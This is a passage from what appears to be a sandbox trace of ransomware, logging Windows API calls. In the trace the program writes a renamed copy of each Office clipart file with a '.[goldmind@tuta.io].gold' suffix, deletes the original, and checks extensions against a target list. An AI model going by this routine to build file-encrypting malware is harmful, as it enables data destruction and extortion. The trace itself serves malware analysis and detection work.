files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 0x20 [0102.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.601] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.601] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0102.602] GetLastError () returned 0x0 [0102.602] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2a92, lpOverlapped=0x0) returned 1 [0102.718] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2aa0, lpOverlapped=0x0) returned 1 [0102.719] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0102.719] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.719] SetEndOfFile (hFile=0x3ac) returned 1 [0102.719] CloseHandle (hObject=0x3ac) returned 1 [0102.719] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.719] SetEndOfFile (hFile=0x364) returned 1 [0102.721] CloseHandle (hObject=0x364) returned 1 [0102.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0102.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.722] lstrlenW (lpString=".doc") returned 4 [0102.722] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.722] lstrlenW (lpString=".docx") returned 5 [0102.722] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0102.722] lstrlenW (lpString=".pdf") returned 4 [0102.722] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.722] lstrlenW (lpString=".xls") returned 4 [0102.722] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.722] lstrlenW (lpString=".xlsx") returned 5 [0102.722] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0102.722] lstrlenW (lpString=".ppt") returned 4 [0102.722] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.722] lstrlenW (lpString=".zip") returned 4 [0102.722] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.722] lstrlenW (lpString=".rar") returned 4 [0102.723] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.723] lstrlenW (lpString=".bz2") returned 4 [0102.723] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.723] lstrlenW (lpString=".7z") returned 3 [0102.723] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.723] lstrlenW (lpString=".dbf") returned 4 [0102.723] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.723] lstrlenW (lpString=".1cd") returned 4 [0102.723] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.723] lstrlenW (lpString=".jpg") returned 4 [0102.723] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.723] lstrlenW (lpString=".doc") returned 4 [0102.723] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.723] lstrlenW (lpString=".docx") returned 5 [0102.723] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0102.723] lstrlenW (lpString=".pdf") returned 4 [0102.723] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.723] lstrlenW (lpString=".xls") returned 4 [0102.723] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.723] lstrlenW (lpString=".xlsx") returned 5 [0102.723] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0102.723] lstrlenW (lpString=".ppt") returned 4 [0102.723] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.723] lstrlenW (lpString=".zip") returned 4 [0102.723] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.723] lstrlenW (lpString=".rar") returned 4 [0102.723] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.723] lstrlenW (lpString=".bz2") returned 4 [0102.723] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.723] lstrlenW (lpString=".7z") returned 3 [0102.723] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.723] lstrlenW (lpString=".dbf") returned 4 [0102.723] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.723] lstrlenW (lpString=".1cd") returned 4 [0102.723] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0102.723] lstrlenW (lpString=".jpg") returned 4 [0102.724] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.724] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.724] lstrlenW (lpString="J0099198.GIF") returned 12 [0102.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.724] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5259) returned 1 [0102.724] CloseHandle (hObject=0x364) returned 1 [0102.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 0x20 [0102.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.725] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.725] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0102.725] GetLastError () returned 0x0 [0102.725] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x148b, lpOverlapped=0x0) returned 1 [0102.727] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1490, lpOverlapped=0x0) returned 1 [0102.728] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0102.728] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.728] SetEndOfFile (hFile=0x3ac) returned 1 [0102.728] CloseHandle (hObject=0x3ac) returned 1 [0102.729] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.729] SetEndOfFile (hFile=0x364) returned 1 [0102.730] CloseHandle (hObject=0x364) returned 1 [0102.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0102.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.731] lstrlenW (lpString=".doc") returned 4 [0102.732] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.732] lstrlenW (lpString=".docx") returned 5 [0102.732] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0102.732] lstrlenW (lpString=".pdf") returned 4 [0102.732] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.732] lstrlenW (lpString=".xls") returned 4 [0102.732] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.732] lstrlenW (lpString=".xlsx") returned 5 [0102.732] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0102.732] lstrlenW (lpString=".ppt") returned 4 [0102.732] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.732] lstrlenW (lpString=".zip") returned 4 [0102.732] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.732] lstrlenW (lpString=".rar") returned 4 [0102.732] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.732] lstrlenW (lpString=".bz2") returned 4 [0102.732] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.732] lstrlenW (lpString=".7z") returned 3 [0102.732] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.732] lstrlenW (lpString=".dbf") returned 4 [0102.732] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.732] lstrlenW (lpString=".1cd") returned 4 [0102.732] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.732] lstrlenW (lpString=".jpg") returned 4 [0102.732] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.732] lstrlenW (lpString=".doc") returned 4 [0102.732] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.732] lstrlenW (lpString=".docx") returned 5 [0102.732] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0102.732] lstrlenW (lpString=".pdf") returned 4 [0102.732] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.732] lstrlenW (lpString=".xls") returned 4 [0102.732] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.732] lstrlenW (lpString=".xlsx") returned 5 [0102.732] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0102.732] lstrlenW (lpString=".ppt") returned 4 [0102.732] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.732] lstrlenW (lpString=".zip") returned 4 [0102.733] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.733] lstrlenW (lpString=".rar") returned 4 [0102.733] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.733] lstrlenW (lpString=".bz2") returned 4 [0102.733] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.733] lstrlenW (lpString=".7z") returned 3 [0102.733] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.733] lstrlenW (lpString=".dbf") returned 4 [0102.733] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.733] lstrlenW (lpString=".1cd") returned 4 [0102.733] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0102.733] lstrlenW (lpString=".jpg") returned 4 [0102.733] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.733] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.733] lstrlenW (lpString="J0099199.GIF") returned 12 [0102.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.733] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=33975) returned 1 [0102.734] CloseHandle (hObject=0x364) returned 1 [0102.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 0x20 [0102.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.734] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.734] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0102.735] GetLastError () returned 0x0 [0102.735] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x84b7, lpOverlapped=0x0) returned 1 [0102.736] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x84c0, lpOverlapped=0x0) returned 1 [0102.737] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0102.737] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.738] SetEndOfFile (hFile=0x3ac) returned 1 [0102.738] CloseHandle (hObject=0x3ac) returned 1 [0102.738] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.738] SetEndOfFile (hFile=0x364) returned 1 [0102.740] CloseHandle (hObject=0x364) returned 1 [0102.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0102.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.740] lstrlenW (lpString=".doc") returned 4 [0102.740] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.740] lstrlenW (lpString=".docx") returned 5 [0102.740] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0102.741] lstrlenW (lpString=".pdf") returned 4 [0102.741] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.741] lstrlenW (lpString=".xls") returned 4 [0102.741] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.741] lstrlenW (lpString=".xlsx") returned 5 [0102.741] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0102.741] lstrlenW (lpString=".ppt") returned 4 [0102.741] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.741] lstrlenW (lpString=".zip") returned 4 [0102.741] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.741] lstrlenW (lpString=".rar") returned 4 [0102.741] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.741] lstrlenW (lpString=".bz2") returned 4 [0102.741] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.741] lstrlenW (lpString=".7z") returned 3 [0102.741] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.741] lstrlenW (lpString=".dbf") returned 4 [0102.741] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.741] lstrlenW (lpString=".1cd") returned 4 [0102.741] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.741] lstrlenW (lpString=".jpg") returned 4 [0102.741] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.741] lstrlenW (lpString=".doc") returned 4 [0102.741] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0102.741] lstrlenW (lpString=".docx") returned 5 [0102.741] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0102.741] lstrlenW (lpString=".pdf") returned 4 [0102.741] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0102.741] lstrlenW (lpString=".xls") returned 4 [0102.741] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0102.741] lstrlenW (lpString=".xlsx") returned 5 [0102.741] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0102.741] lstrlenW (lpString=".ppt") returned 4 [0102.741] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0102.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.741] lstrlenW (lpString=".zip") returned 4 [0102.741] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0102.742] lstrlenW (lpString=".rar") returned 4 [0102.742] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0102.742] lstrlenW (lpString=".bz2") returned 4 [0102.742] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0102.742] lstrlenW (lpString=".7z") returned 3 [0102.742] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0102.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.742] lstrlenW (lpString=".dbf") returned 4 [0102.742] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0102.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.742] lstrlenW (lpString=".1cd") returned 4 [0102.742] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0102.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0102.742] lstrlenW (lpString=".jpg") returned 4 [0102.742] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0102.742] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.742] lstrlenW (lpString="J0099200.GIF") returned 12 [0102.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.743] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=16543) returned 1 [0102.743] CloseHandle (hObject=0x364) returned 1 [0102.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 0x20 [0102.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.743] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.743] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, 